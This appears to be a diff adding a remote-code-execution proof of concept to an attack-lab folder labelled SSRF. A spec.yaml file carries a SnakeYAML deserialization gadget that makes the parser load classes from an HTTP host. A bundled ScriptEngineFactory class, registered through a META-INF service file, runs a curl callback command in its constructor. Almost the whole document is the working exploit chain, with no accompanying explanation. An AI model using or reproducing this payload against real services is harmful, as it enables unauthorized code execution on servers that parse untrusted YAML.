added material

application-and-system-attacks/ssrf/META-INF/services/javax.script.ScriptEngineFactory

@@ -0,0 +1 @@
+exploit.MyScriptEngineFactory

application-and-system-attacks/ssrf/MyScriptEngineFactory.java

@@ -0,0 +1,78 @@
+package exploit;
+
+import javax.script.ScriptEngine;
+import javax.script.ScriptEngineFactory;
+import java.io.IOException;
+import java.util.List;
+
+public class MyScriptEngineFactory implements ScriptEngineFactory {
+
+    public MyScriptEngineFactory() {
+        try {
+            Runtime.getRuntime().exec("curl http://127.0.0.1:9001/rce");
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
+    @Override
+    public String getEngineName() {
+        return null;
+    }
+
+    @Override
+    public String getEngineVersion() {
+        return null;
+    }
+
+    @Override
+    public List<String> getExtensions() {
+        return null;
+    }
+
+    @Override
+    public List<String> getMimeTypes() {
+        return null;
+    }
+
+    @Override
+    public List<String> getNames() {
+        return null;
+    }
+
+    @Override
+    public String getLanguageName() {
+        return null;
+    }
+
+    @Override
+    public String getLanguageVersion() {
+        return null;
+    }
+
+    @Override
+    public Object getParameter(String key) {
+        return null;
+    }
+
+    @Override
+    public String getMethodCallSyntax(String obj, String m, String... args) {
+        return null;
+    }
+
+    @Override
+    public String getOutputStatement(String toDisplay) {
+        return null;
+    }
+
+    @Override
+    public String getProgram(String... statements) {
+        return null;
+    }
+
+    @Override
+    public ScriptEngine getScriptEngine() {
+        return null;
+    }
+}
+

application-and-system-attacks/ssrf/handler.py

@@ -0,0 +1,3 @@
+def initialize(self, context):
+    self.model = self.load_model()
+

application-and-system-attacks/ssrf/spec.yaml

@@ -0,0 +1 @@
+!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8000/"]]]]